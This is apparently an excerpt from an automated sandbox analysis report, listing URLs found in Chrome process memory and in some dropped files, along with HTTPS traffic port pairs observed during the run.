Source: chrome.exe, 00000010.00000002.2726448961.000078C400338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727890639.000078C40071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2641872542.000078C400720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000010.00000002.2725257801.000078C400104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000010.00000002.2726754686.000078C400464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000010.00000002.2725257801.000078C400104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000010.00000002.2725257801.000078C400104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000010.00000002.2725257801.000078C400104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726601425.000078C40039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000010.00000002.2726971757.000078C400528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2733079553.000078C400EF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000010.00000002.2729233845.000078C400978000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726865760.000078C4004D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2733642541.000078C400FF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000010.00000002.2729233845.000078C400978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyM
Source: chrome.exe, 00000010.00000002.2733642541.000078C400FF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacyf
Source: chrome.exe, 00000010.00000002.2726865760.000078C4004D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000010.00000002.2733642541.000078C400FF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000010.00000002.2729512501.000078C400A23000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2729480786.000078C400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 00000010.00000002.2744123721.000078C401CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696757712.000078C401344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000010.00000002.2727934402.000078C400730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000010.00000002.2744123721.000078C401CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696757712.000078C401344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000010.00000002.2744123721.000078C401CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696757712.000078C401344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000010.00000002.2744123721.000078C401CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696757712.000078C401344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?prid=19044659
Source: chrome.exe, 00000010.00000002.2732748395.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656797255.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732865240.000078C400EA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2697082828.000078C4019C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732557877.000078C400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732830918.000078C400E94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000010.00000002.2732748395.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656797255.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732865240.000078C400EA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732896752.000078C400EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2697082828.000078C4019C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732557877.000078C400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2655261578.000078C400A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732830918.000078C400E94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000010.00000002.2732748395.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656797255.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732557877.000078C400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732830918.000078C400E94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000010.00000002.2726202059.000078C4002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732748395.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656797255.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732865240.000078C400EA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732557877.000078C400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2655261578.000078C400A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732830918.000078C400E94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000010.00000002.2726202059.000078C4002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732748395.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656797255.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732830918.000078C400E94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000010.00000002.2732748395.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656797255.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732865240.000078C400EA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2697082828.000078C4019C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732557877.000078C400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2655261578.000078C400A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732830918.000078C400E94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000010.00000002.2732748395.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656797255.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732865240.000078C400EA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732557877.000078C400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2655261578.000078C400A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732830918.000078C400E94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000010.00000002.2732748395.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656797255.000078C400E7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732865240.000078C400EA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2697082828.000078C4019C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732557877.000078C400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2655261578.000078C400A5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732830918.000078C400E94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000010.00000002.2729512501.000078C400A23000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2729480786.000078C400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000010.00000003.2661381988.000078C4010EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661266172.000078C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000010.00000002.2729480786.000078C400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000010.00000002.2724958067.000078C40009C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000010.00000002.2725257801.000078C400104000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000010.00000002.2728535696.000078C40080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728611172.000078C400824000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000010.00000002.2728535696.000078C40080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000010.00000002.2727760443.000078C4006FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000010.00000002.2726754686.000078C400464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: HDBAI5.10.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: HDBAI5.10.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: HDBAI5.10.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: HDBAI5.10.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: chrome.exe, 00000010.00000002.2730111087.000078C400A68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: 9R1D2D.10.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: Suicide.com.1.dr, Speak.0.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, KFUAIW.10.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: 9R1D2D.10.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: Speak.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Suicide.com.1.dr, Speak.0.dr	String found in binary or memory: https://www.globalsign.com/repository/06
Source: chrome.exe, 00000010.00000002.2729103898.000078C40094C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000010.00000002.2727760443.000078C4006FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000010.00000003.2656940206.000078C400F40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727934402.000078C400730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2731467868.000078C400D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2729512501.000078C400A23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000010.00000002.2730999362.000078C400C34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728659384.000078C400844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/_/og/promos/
Source: chrome.exe, 00000010.00000002.2731250474.000078C400CB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000010.00000002.2733598800.000078C400FE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693388565.000078C400FE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/async/newtab_promos
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/go-mobile/?ios-campaign=desktop-chr-ntp&android-campaign=desktop-chr-n
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000010.00000002.2729296549.000078C40098C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2733175675.000078C400F28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728770316.000078C4008B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000010.00000002.2729296549.000078C40098C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2733175675.000078C400F28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2725770050.000078C4001D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728770316.000078C4008B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000010.00000002.2727481861.000078C40061C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2726971757.000078C400528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2732964975.000078C400EC4000.00000004.00000800.00020000.00000000.sdmp, KFUAIW.10.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000010.00000002.2728286701.000078C4007B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsights
Source: chrome.exe, 00000010.00000002.2726754686.000078C400464000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000010.00000002.2744123721.000078C401CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696757712.000078C401344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000010.00000003.2661523381.000078C40120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submitx
Source: chrome.exe, 00000010.00000002.2730182379.000078C400A88000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000010.00000002.2727760443.000078C4006FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000010.00000002.2724689572.000078C40000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000010.00000003.2690086393.000078C4015AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2690031645.000078C4015A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000010.00000003.2686970809.000078C40140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000010.00000003.2661229181.000078C400C58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2656474444.000078C400C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2725847154.000078C40020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000010.00000002.2729103898.000078C40094C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000010.00000002.2729103898.000078C40094C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000010.00000002.2726901356.000078C4004F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000010.00000003.2693523334.000078C401D10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000010.00000003.2693825427.000078C401CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693495369.000078C401D08000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2695268421.000078C401CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2697801373.000078C401D28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696841004.000078C401C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696876426.000078C401C7C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2744123721.000078C401CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693523334.000078C401D10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000010.00000002.2729480786.000078C400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000010.00000002.2744123721.000078C401CA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2696757712.000078C401344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.2693773778.000078C401CE4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000010.00000002.2726202059.000078C4002D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.2727760443.000078C400702000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
